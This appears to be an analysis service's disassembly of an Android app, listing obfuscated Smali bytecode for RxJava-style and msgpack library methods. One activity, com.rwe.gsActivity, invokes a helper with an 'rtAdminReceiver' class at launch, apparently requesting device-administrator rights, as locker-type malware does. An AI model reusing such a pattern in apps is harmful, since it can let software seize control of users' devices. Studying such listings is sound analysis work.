19invoke-static {v0}, Lc/a/f/a;->a(Lc/a/h;)Lc/a/h;
20move-result-object v0
21return-object v0
Cross References
Strings
  • callable is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(",
5"Ljava/util/concurrent/Callable",
6"<+TT;>;)",
7"Lc/a/h",
8"<TT;>;"
9}
10.end annotation
12const-string v0, "callable is null"
14invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
15new-instance v0, Lc/a/e/e/b/e;
17invoke-direct {v0, p0}, Lc/a/e/e/b/e;-><init>(Ljava/util/concurrent/Callable;)V
19invoke-static {v0}, Lc/a/f/a;->a(Lc/a/h;)Lc/a/h;
20move-result-object v0
21return-object v0
Cross References
APIs
  • c.a.e.e.b.a.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/d/d",
4"<-TT;>;",
5"Lc/a/d/d",
6"<-",
7"Ljava/lang/Throwable;",
8">;",
9"Lc/a/d/a;",
10")",
11"Lc/a/b/b;"
12}
13.end annotation
14new-instance v0, Lc/a/e/e/b/a;
16invoke-direct {v0, p1, p2, p3}, Lc/a/e/e/b/a;-><init>(Lc/a/d/d;Lc/a/d/d;Lc/a/d/a;)V
18invoke-virtual {p0, v0}, Lc/a/h;->c(Lc/a/j;)Lc/a/j;
19move-result-object v0
20check-cast v0, Lc/a/b/b;
21return-object v0
Cross References
Strings
  • source is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(",
5"Lc/a/n",
6"<TT;>;)",
7"Lc/a/l",
8"<TT;>;"
9}
10.end annotation
12const-string v0, "source is null"
14invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
15new-instance v0, Lc/a/e/e/c/b;
17invoke-direct {v0, p0}, Lc/a/e/e/c/b;-><init>(Lc/a/n;)V
19invoke-static {v0}, Lc/a/f/a;->a(Lc/a/l;)Lc/a/l;
20move-result-object v0
21return-object v0
Cross References
Strings
  • source is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(",
5"Lc/a/u",
6"<TT;>;)",
7"Lc/a/r",
8"<TT;>;"
9}
10.end annotation
12const-string v0, "source is null"
14invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
15new-instance v0, Lc/a/e/e/d/a;
17invoke-direct {v0, p0}, Lc/a/e/e/d/a;-><init>(Lc/a/u;)V
19invoke-static {v0}, Lc/a/f/a;->a(Lc/a/r;)Lc/a/r;
20move-result-object v0
21return-object v0
Cross References
Strings
  • error is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(",
5"Ljava/lang/Throwable;",
6")",
7"Lc/a/r",
8"<TT;>;"
9}
10.end annotation
12const-string v0, "error is null"
14invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
16invoke-static {p0}, Lc/a/e/b/a;->a(Ljava/lang/Object;)Ljava/util/concurrent/Callable;
17move-result-object v0
19invoke-static {v0}, Lc/a/r;->a(Ljava/util/concurrent/Callable;)Lc/a/r;
20move-result-object v0
21return-object v0
Cross References
Strings
  • s is null
Position Instruction Meta Information
1const-string v0, "s is null"
3invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
4try_start_5:
5invoke-static {p0, p1}, Lc/a/f/a;->a(Lc/a/a;Lc/a/c;)Lc/a/c;
6move-result-object v0
8invoke-virtual {p0, v0}, Lc/a/a;->b(Lc/a/c;)V
9try_end_c: return-void
10catch_d: move-exception v0
11throw v0
12catch_f: move-exception v0
14invoke-static {v0}, Lc/a/c/b;->b(Ljava/lang/Throwable;)V
16invoke-static {v0}, Lc/a/f/a;->a(Ljava/lang/Throwable;)V
18invoke-static {v0}, Lc/a/a;->a(Ljava/lang/Throwable;)Ljava/lang/NullPointerException;
19move-result-object v0
20throw v0
Cross References
APIs
  • java.util.Arrays.copyOf
Position Instruction Meta Information
0array-length v0, p0
1if-nez v0, :cond_8
3invoke-static {}, Lorg/msgpack/a/a/c;->c()Lorg/msgpack/a/f;
4move-result-object v0
5goto_7: return-object v0
6cond_8: if-eqz p1, :cond_10
7new-instance v0, Lorg/msgpack/a/a/c;
9invoke-direct {v0, p0}, Lorg/msgpack/a/a/c;-><init>([Lorg/msgpack/a/x;)V
10goto/16 :goto_7
11cond_10: new-instance v1, Lorg/msgpack/a/a/c;
12array-length v0, p0
14invoke-static {p0, v0}, Ljava/util/Arrays;->copyOf([Ljava/lang/Object;I)[Ljava/lang/Object;
15move-result-object v0
16check-cast v0, [Lorg/msgpack/a/x;
18invoke-direct {v1, v0}, Lorg/msgpack/a/a/c;-><init>([Lorg/msgpack/a/x;)V
19move-object v0, v1
20goto/16 :goto_7
Cross References
APIs
  • java.util.Arrays.copyOf
Position Instruction Meta Information
0array-length v0, p0
1if-nez v0, :cond_8
3invoke-static {}, Lorg/msgpack/a/a/j;->c()Lorg/msgpack/a/l;
4move-result-object v0
5goto_7: return-object v0
6cond_8: if-eqz p1, :cond_10
7new-instance v0, Lorg/msgpack/a/a/j;
9invoke-direct {v0, p0}, Lorg/msgpack/a/a/j;-><init>([Lorg/msgpack/a/x;)V
10goto/16 :goto_7
11cond_10: new-instance v1, Lorg/msgpack/a/a/j;
12array-length v0, p0
14invoke-static {p0, v0}, Ljava/util/Arrays;->copyOf([Ljava/lang/Object;I)[Ljava/lang/Object;
15move-result-object v0
16check-cast v0, [Lorg/msgpack/a/x;
18invoke-direct {v1, v0}, Lorg/msgpack/a/a/j;-><init>([Lorg/msgpack/a/x;)V
19move-object v0, v1
20goto/16 :goto_7
Cross References
Strings
  • item is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<T:",
3"Ljava/lang/Object;",
4">(TT;)",
5"Lc/a/h",
6"<TT;>;"
7}
8.end annotation
10const-string v0, "item is null"
12invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
13new-instance v0, Lc/a/e/e/b/f;
15invoke-direct {v0, p0}, Lc/a/e/e/b/f;-><init>(Ljava/lang/Object;)V
17invoke-static {v0}, Lc/a/f/a;->a(Lc/a/h;)Lc/a/h;
18move-result-object v0
19return-object v0
Cross References
Strings
  • scheduler is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/q;",
4")",
5"Lc/a/l",
6"<TT;>;"
7}
8.end annotation
10const-string v0, "scheduler is null"
12invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
13new-instance v0, Lc/a/e/e/c/d;
15invoke-direct {v0, p0, p1}, Lc/a/e/e/c/d;-><init>(Lc/a/o;Lc/a/q;)V
17invoke-static {v0}, Lc/a/f/a;->a(Lc/a/l;)Lc/a/l;
18move-result-object v0
19return-object v0
Cross References
Strings
  • scheduler is null
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Lc/a/q;",
4")",
5"Lc/a/r",
6"<TT;>;"
7}
8.end annotation
10const-string v0, "scheduler is null"
12invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
13new-instance v0, Lc/a/e/e/d/c;
15invoke-direct {v0, p0, p1}, Lc/a/e/e/d/c;-><init>(Lc/a/v;Lc/a/q;)V
17invoke-static {v0}, Lc/a/f/a;->a(Lc/a/r;)Lc/a/r;
18move-result-object v0
19return-object v0
APIs
  • org.msgpack.a.a.j$a.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/Set",
4"<",
5"Ljava/util/Map$Entry",
6"<",
7"Lorg/msgpack/a/x;",
8"Lorg/msgpack/a/x;",
9">;>;"
10}
11.end annotation
12new-instance v0, Lorg/msgpack/a/a/j$a;
14iget-object v1, p0, Lorg/msgpack/a/a/j$c;->a:[Lorg/msgpack/a/x;
16invoke-direct {v0, v1}, Lorg/msgpack/a/a/j$a;-><init>([Lorg/msgpack/a/x;)V
17return-object v0
APIs
  • org.msgpack.a.a.j$a.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/Set",
4"<",
5"Ljava/util/Map$Entry",
6"<",
7"Lorg/msgpack/a/x;",
8"Lorg/msgpack/a/x;",
9">;>;"
10}
11.end annotation
12new-instance v0, Lorg/msgpack/a/a/j$a;
14iget-object v1, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
16invoke-direct {v0, v1}, Lorg/msgpack/a/a/j$a;-><init>([Lorg/msgpack/a/x;)V
17return-object v0
APIs
  • org.msgpack.core.k.<init>
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/a;->b:Ljava/lang/String;
2if-nez v0, :cond_7
4invoke-direct {p0}, Lorg/msgpack/a/a/a;->F()V
5cond_7:
6iget-object v0, p0, Lorg/msgpack/a/a/a;->c:Ljava/nio/charset/CharacterCodingException;
7if-eqz v0, :cond_13
8new-instance v0, Lorg/msgpack/core/k;
10iget-object v1, p0, Lorg/msgpack/a/a/a;->c:Ljava/nio/charset/CharacterCodingException;
12invoke-direct {v0, v1}, Lorg/msgpack/core/k;-><init>(Ljava/nio/charset/CharacterCodingException;)V
13throw v0
14cond_13:
15iget-object v0, p0, Lorg/msgpack/a/a/a;->b:Ljava/lang/String;
16return-object v0
APIs
  • java.lang.Object.hashCode
Position Instruction Meta Information
0const/4 v1, 0x1
1const/4 v0, 0x0
2goto_2:
3iget-object v2, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
4array-length v2, v2
5if-ge v0, v2, :cond_15
7iget-object v2, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
8aget-object v2, v2, v0
9mul-int/lit8 v1, v1, 0x1f
11invoke-virtual {v2}, Ljava/lang/Object;->hashCode()I
12move-result v2
13add-int/2addr v1, v2
14add-int/lit8 v0, v0, 0x1
15goto/16 :goto_2
16cond_15: return v1
Cross References
APIs
  • org.msgpack.a.a.j$c.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/Map",
4"<",
5"Lorg/msgpack/a/x;",
6"Lorg/msgpack/a/x;",
7">;"
8}
9.end annotation
10new-instance v0, Lorg/msgpack/a/a/j$c;
12iget-object v1, p0, Lorg/msgpack/a/a/j;->b:[Lorg/msgpack/a/x;
14invoke-direct {v0, v1}, Lorg/msgpack/a/a/j$c;-><init>([Lorg/msgpack/a/x;)V
15return-object v0
APIs
  • java.lang.Runnable.run
Position Instruction Meta Information
0try_start_0:
1iget-object v0, p0, Lc/a/q$1;->a:Ljava/lang/Runnable;
3invoke-interface {v0}, Ljava/lang/Runnable;->run()V
4try_end_5:
5iget-object v0, p0, Lc/a/q$1;->b:Lc/a/q$a;
7invoke-virtual {v0}, Lc/a/q$a;->a()V
8return-void
9catchall_b: move-exception v0
11iget-object v1, p0, Lc/a/q$1;->b:Lc/a/q$a;
13invoke-virtual {v1}, Lc/a/q$a;->a()V
14throw v0
Cross References
APIs
  • java.util.NoSuchElementException.<init>
Position Instruction Meta Information
0iget v0, p0, Lorg/msgpack/a/a/c$b;->b:I
2iget-object v1, p0, Lorg/msgpack/a/a/c$b;->a:[Lorg/msgpack/a/x;
3array-length v1, v1
4if-lt v0, v1, :cond_d
5new-instance v0, Ljava/util/NoSuchElementException;
7invoke-direct {v0}, Ljava/util/NoSuchElementException;-><init>()V
8throw v0
9cond_d: add-int/lit8 v1, v0, 0x1
10iput v1, p0, Lorg/msgpack/a/a/c$b;->b:I
12iget-object v1, p0, Lorg/msgpack/a/a/c$b;->a:[Lorg/msgpack/a/x;
13aget-object v0, v1, v0
14return-object v0
APIs
  • org.msgpack.a.a.c$a.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/List",
4"<",
5"Lorg/msgpack/a/x;",
6">;"
7}
8.end annotation
9new-instance v0, Lorg/msgpack/a/a/c$a;
11iget-object v1, p0, Lorg/msgpack/a/a/c;->b:[Lorg/msgpack/a/x;
13invoke-direct {v0, v1}, Lorg/msgpack/a/a/c$a;-><init>([Lorg/msgpack/a/x;)V
14return-object v0
APIs
  • android.app.Activity.onCreate
Position Instruction Meta Information
1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
3invoke-static {p0}, Lcom/a;->a(Landroid/content/Context;)V
4const-class v0, Lcom/rwe/rtAdminReceiver;
6invoke-static {p0, v0}, Lcom/a;->a(Landroid/app/Activity;Ljava/lang/Class;)V
7new-instance v0, Lcom/rwe/gsActivity$1;
9invoke-direct {v0, p0}, Lcom/rwe/gsActivity$1;-><init>(Lcom/rwe/gsActivity;)V
11invoke-virtual {v0}, Lcom/rwe/gsActivity$1;->run()V
12return-void
Cross References
APIs
  • java.util.Arrays.copyOf
Position Instruction Meta Information
0if-eqz p1, :cond_8
1new-instance v0, Lorg/msgpack/a/a/e;
3invoke-direct {v0, p0}, Lorg/msgpack/a/a/e;-><init>([B)V
4goto_7: return-object v0
5cond_8: new-instance v0, Lorg/msgpack/a/a/e;
6array-length v1, p0
8invoke-static {p0, v1}, Ljava/util/Arrays;->copyOf([BI)[B
9move-result-object v1
11invoke-direct {v0, v1}, Lorg/msgpack/a/a/e;-><init>([B)V
12goto/16 :goto_7
Cross References
APIs
  • java.util.Arrays.copyOf
Position Instruction Meta Information
0if-eqz p1, :cond_8
1new-instance v0, Lorg/msgpack/a/a/l;
3invoke-direct {v0, p0}, Lorg/msgpack/a/a/l;-><init>([B)V
4goto_7: return-object v0
5cond_8: new-instance v0, Lorg/msgpack/a/a/l;
6array-length v1, p0
8invoke-static {p0, v1}, Ljava/util/Arrays;->copyOf([BI)[B
9move-result-object v1
11invoke-direct {v0, v1}, Lorg/msgpack/a/a/l;-><init>([B)V
12goto/16 :goto_7
APIs
  • org.msgpack.core.e.<init>
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/i;->a()Z
2move-result v0
3if-nez v0, :cond_e
4new-instance v0, Lorg/msgpack/core/e;
5iget-wide v2, p0, Lorg/msgpack/a/a/i;->a:J
7invoke-direct {v0, v2, v3}, Lorg/msgpack/core/e;-><init>(J)V
8throw v0
9cond_e: iget-wide v0, p0, Lorg/msgpack/a/a/i;->a:J
10long-to-int v0, v0
11return v0
Cross References
Strings
  • source is null
Position Instruction Meta Information
1const-string v0, "source is null"
3invoke-static {p0, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
4new-instance v0, Lc/a/e/e/a/a;
6invoke-direct {v0, p0}, Lc/a/e/e/a/a;-><init>(Lc/a/d;)V
8invoke-static {v0}, Lc/a/f/a;->a(Lc/a/a;)Lc/a/a;
9move-result-object v0
10return-object v0
Cross References
Strings
  • scheduler is null
Position Instruction Meta Information
1const-string v0, "scheduler is null"
3invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
4new-instance v0, Lc/a/e/e/a/b;
6invoke-direct {v0, p0, p1}, Lc/a/e/e/a/b;-><init>(Lc/a/e;Lc/a/q;)V
8invoke-static {v0}, Lc/a/f/a;->a(Lc/a/a;)Lc/a/a;
9move-result-object v0
10return-object v0
Cross References
Strings
  • scheduler is null
Position Instruction Meta Information
1const-string v0, "scheduler is null"
3invoke-static {p1, v0}, Lc/a/e/b/b;->a(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
4new-instance v0, Lc/a/e/e/a/c;
6invoke-direct {v0, p0, p1}, Lc/a/e/e/a/c;-><init>(Lc/a/e;Lc/a/q;)V
8invoke-static {v0}, Lc/a/f/a;->a(Lc/a/a;)Lc/a/a;
9move-result-object v0
10return-object v0
APIs
  • c.a.e.e.a.b$a.<init>
Position Instruction Meta Information
1iget-object v0, p0, Lc/a/e/e/a/b;->a:Lc/a/e;
2new-instance v1, Lc/a/e/e/a/b$a;
4iget-object v2, p0, Lc/a/e/e/a/b;->b:Lc/a/q;
6invoke-direct {v1, p1, v2}, Lc/a/e/e/a/b$a;-><init>(Lc/a/c;Lc/a/q;)V
8invoke-interface {v0, v1}, Lc/a/e;->a(Lc/a/c;)V
9return-void
Cross References
APIs
  • java.lang.Enum.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(ZZ)V"
3}
4.end annotation
6invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
7iput-boolean p3, p0, Lorg/msgpack/a/z;->j:Z
8iput-boolean p4, p0, Lorg/msgpack/a/z;->k:Z
9return-void
Cross References
APIs
  • java.lang.String.getBytes
Position Instruction Meta Information
1invoke-direct {p0}, Lorg/msgpack/a/a/b;-><init>()V
2iput-object p1, p0, Lorg/msgpack/a/a/a;->b:Ljava/lang/String;
4sget-object v0, Lorg/msgpack/core/g;->a:Ljava/nio/charset/Charset;
6invoke-virtual {p1, v0}, Ljava/lang/String;->getBytes(Ljava/nio/charset/Charset;)[B
7move-result-object v0
8iput-object v0, p0, Lorg/msgpack/a/a/a;->a:[B
9return-void
APIs
  • c.a.e.a.b.a
Position Instruction Meta Information
1invoke-static {p0, p1}, Lc/a/e/a/b;->a(Ljava/util/concurrent/atomic/AtomicReference;Lc/a/b/b;)Z
2move-result v0
3if-eqz v0, :cond_b
5iget-object v0, p0, Lc/a/e/e/a/b$a;->a:Lc/a/c;
7invoke-interface {v0, p0}, Lc/a/c;->a(Lc/a/b/b;)V
8cond_b: return-void
APIs
  • c.a.e.a.b.b
Position Instruction Meta Information
0iput-object p1, p0, Lc/a/e/e/a/b$a;->c:Ljava/lang/Throwable;
2iget-object v0, p0, Lc/a/e/e/a/b$a;->b:Lc/a/q;
4invoke-virtual {v0, p0}, Lc/a/q;->a(Ljava/lang/Runnable;)Lc/a/b/b;
5move-result-object v0
7invoke-static {p0, v0}, Lc/a/e/a/b;->b(Ljava/util/concurrent/atomic/AtomicReference;Lc/a/b/b;)Z
8return-void
APIs
  • java.util.Arrays.copyOf
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/a;->a:[B
3iget-object v1, p0, Lorg/msgpack/a/a/a;->a:[B
4array-length v1, v1
6invoke-static {v0, v1}, Ljava/util/Arrays;->copyOf([BI)[B
7move-result-object v0
8return-object v0
APIs
  • java.lang.Double.doubleToLongBits
Position Instruction Meta Information
0iget-wide v0, p0, Lorg/msgpack/a/a/g;->a:D
2invoke-static {v0, v1}, Ljava/lang/Double;->doubleToLongBits(D)J
3move-result-wide v0
4const/16 v2, 0x20
5ushr-long v2, v0, v2
6xor-long/2addr v0, v2
7long-to-int v0, v0
8return v0
APIs
  • c.a.e.a.b.b
Position Instruction Meta Information
1iget-object v0, p0, Lc/a/e/e/a/b$a;->b:Lc/a/q;
3invoke-virtual {v0, p0}, Lc/a/q;->a(Ljava/lang/Runnable;)Lc/a/b/b;
4move-result-object v0
6invoke-static {p0, v0}, Lc/a/e/a/b;->b(Ljava/util/concurrent/atomic/AtomicReference;Lc/a/b/b;)Z
7return-void
Cross References
APIs
  • java.lang.Enum.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()V"
3}
4.end annotation
6invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
7return-void
Cross References
APIs
  • java.lang.Enum.<init>
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()V"
3}
4.end annotation
6invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
7return-void
Cross References
APIs
  • org.msgpack.a.z.a
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->a()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.b
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->b()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.c
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->c()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.d
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->d()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.e
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->e()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.g
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->g()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.f
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->f()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.h
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->h()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.i
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->i()Z
5move-result v0
6return v0
Cross References
APIs
  • org.msgpack.a.z.j
Position Instruction Meta Information
1invoke-virtual {p0}, Lorg/msgpack/a/a/b;->h()Lorg/msgpack/a/z;
2move-result-object v0
4invoke-virtual {v0}, Lorg/msgpack/a/z;->j()Z
5move-result v0
6return v0
Cross References
APIs
  • c.a.e.d.d.<init>
Position Instruction Meta Information
0new-instance v0, Lc/a/e/d/d;
2invoke-direct {v0}, Lc/a/e/d/d;-><init>()V
4invoke-virtual {p0, v0}, Lc/a/a;->a(Lc/a/c;)V
5return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lc/a/q$1;->c:Lc/a/q;
1iput-object p2, p0, Lc/a/q$1;->a:Ljava/lang/Runnable;
2iput-object p3, p0, Lc/a/q$1;->b:Lc/a/q$a;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • java.lang.Enum.valueOf
Position Instruction Meta Information
0const-class v0, Lc/a/e/a/b;
2invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
3move-result-object v0
4check-cast v0, Lc/a/e/a/b;
5return-object v0
APIs
  • java.lang.Enum.valueOf
Position Instruction Meta Information
0const-class v0, Lc/a/e/a/c;
2invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
3move-result-object v0
4check-cast v0, Lc/a/e/a/c;
5return-object v0
APIs
  • java.lang.Enum.valueOf
Position Instruction Meta Information
0const-class v0, Lorg/msgpack/a/z;
2invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
3move-result-object v0
4check-cast v0, Lorg/msgpack/a/z;
5return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2iput-object p1, p0, Lorg/msgpack/a/a/c$b;->a:[Lorg/msgpack/a/x;
3const/4 v0, 0x0
4iput v0, p0, Lorg/msgpack/a/a/c$b;->b:I
5return-void
Cross References
APIs
  • java.math.BigInteger.toString
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
3invoke-virtual {v0}, Ljava/math/BigInteger;->toString()Ljava/lang/String;
4move-result-object v0
5return-object v0
APIs
  • java.math.BigInteger.longValue
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
3invoke-virtual {v0}, Ljava/math/BigInteger;->longValue()J
4move-result-wide v0
5return-wide v0
APIs
  • java.math.BigInteger.doubleValue
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/d;->a:Ljava/math/BigInteger;
3invoke-virtual {v0}, Ljava/math/BigInteger;->doubleValue()D
4move-result-wide v0
5return-wide v0
APIs
  • java.util.Arrays.hashCode
Position Instruction Meta Information
1iget-object v0, p0, Lorg/msgpack/a/a/e;->a:[B
3invoke-static {v0}, Ljava/util/Arrays;->hashCode([B)I
4move-result v0
5return v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
2iput-object p1, p0, Lorg/msgpack/a/a/j$b;->a:[Lorg/msgpack/a/x;
3const/4 v0, 0x0
4iput v0, p0, Lorg/msgpack/a/a/j$b;->b:I
5return-void
APIs
  • android.os.Handler.<init>
Position Instruction Meta Information
0new-instance v0, Landroid/os/Handler;
2invoke-direct {v0}, Landroid/os/Handler;-><init>()V
3sput-object v0, Lcom/rwe/gsActivity;->a:Landroid/os/Handler;
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/rwe/rtAdminReceiver$1;->b:Lcom/rwe/rtAdminReceiver;
1iput-object p2, p0, Lcom/rwe/rtAdminReceiver$1;->a:Landroid/content/Context;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.util.concurrent.atomic.AtomicReference.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/util/concurrent/atomic/AtomicReference;-><init>()V
2iput-object p1, p0, Lc/a/e/e/a/b$a;->a:Lc/a/c;
3iput-object p2, p0, Lc/a/e/e/a/b$a;->b:Lc/a/q;
4return-void
Cross References
APIs
  • java.lang.Boolean.toString
Position Instruction Meta Information
0iget-boolean v0, p0, Lorg/msgpack/a/a/f;->c:Z
2invoke-static {v0}, Ljava/lang/Boolean;->toString(Z)Ljava/lang/String;
3move-result-object v0
4return-object v0
APIs
  • java.lang.Double.toString
Position Instruction Meta Information
0iget-wide v0, p0, Lorg/msgpack/a/a/g;->a:D
2invoke-static {v0, v1}, Ljava/lang/Double;->toString(D)Ljava/lang/String;
3move-result-object v0
4return-object v0
Cross References
APIs
  • java.lang.Long.toString
Position Instruction Meta Information
0iget-wide v0, p0, Lorg/msgpack/a/a/i;->a:J
2invoke-static {v0, v1}, Ljava/lang/Long;->toString(J)Ljava/lang/String;
3move-result-object v0
4return-object v0
APIs
  • java.math.BigInteger.valueOf
Position Instruction Meta Information
0iget-wide v0, p0, Lorg/msgpack/a/a/i;->a:J
2invoke-static {v0, v1}, Ljava/math/BigInteger;->valueOf(J)Ljava/math/BigInteger;
3move-result-object v0
4return-object v0
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0iput-object p1, p0, Lcom/rwe/gsActivity$1;->a:Lcom/rwe/gsActivity;
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.util.concurrent.atomic.AtomicReference.<init>
Position Instruction Meta Information
1invoke-direct {p0}, Ljava/util/concurrent/atomic/AtomicReference;-><init>()V
2iput-object p1, p0, Lc/a/e/e/a/a$a;->a:Lc/a/c;
3return-void
Cross References
APIs
  • c.a.e.a.b.b
Position Instruction Meta Information
1invoke-static {p0, p1}, Lc/a/e/a/b;->b(Ljava/util/concurrent/atomic/AtomicReference;Lc/a/b/b;)Z
2move-result v0
3return v0
Cross References
APIs
  • org.msgpack.core.l.<init>
Position Instruction Meta Information
0new-instance v0, Lorg/msgpack/core/l;
2invoke-direct {v0}, Lorg/msgpack/core/l;-><init>()V
3throw v0
Cross References
APIs
  • org.msgpack.core.l.<init>
Position Instruction Meta Information
0new-instance v0, Lorg/msgpack/core/l;
2invoke-direct {v0}, Lorg/msgpack/core/l;-><init>()V
3throw v0
Cross References
APIs
  • org.msgpack.core.l.<init>
Position Instruction Meta Information
0new-instance v0, Lorg/msgpack/core/l;
2invoke-direct {v0}, Lorg/msgpack/core/l;-><init>()V
3throw v0
Cross References
APIs
  • org.msgpack.core.l.<init>
Position Instruction Meta Information
0new-instance v0, Lorg/msgpack/core/l;
2invoke-direct {v0}, Lorg/msgpack/core/l;-><init>()V
3throw v0
Cross References
APIs
  • org.msgpack.core.l.<init>
Position Instruction Meta Information
0new-instance v0, Lorg/msgpack/core/l;
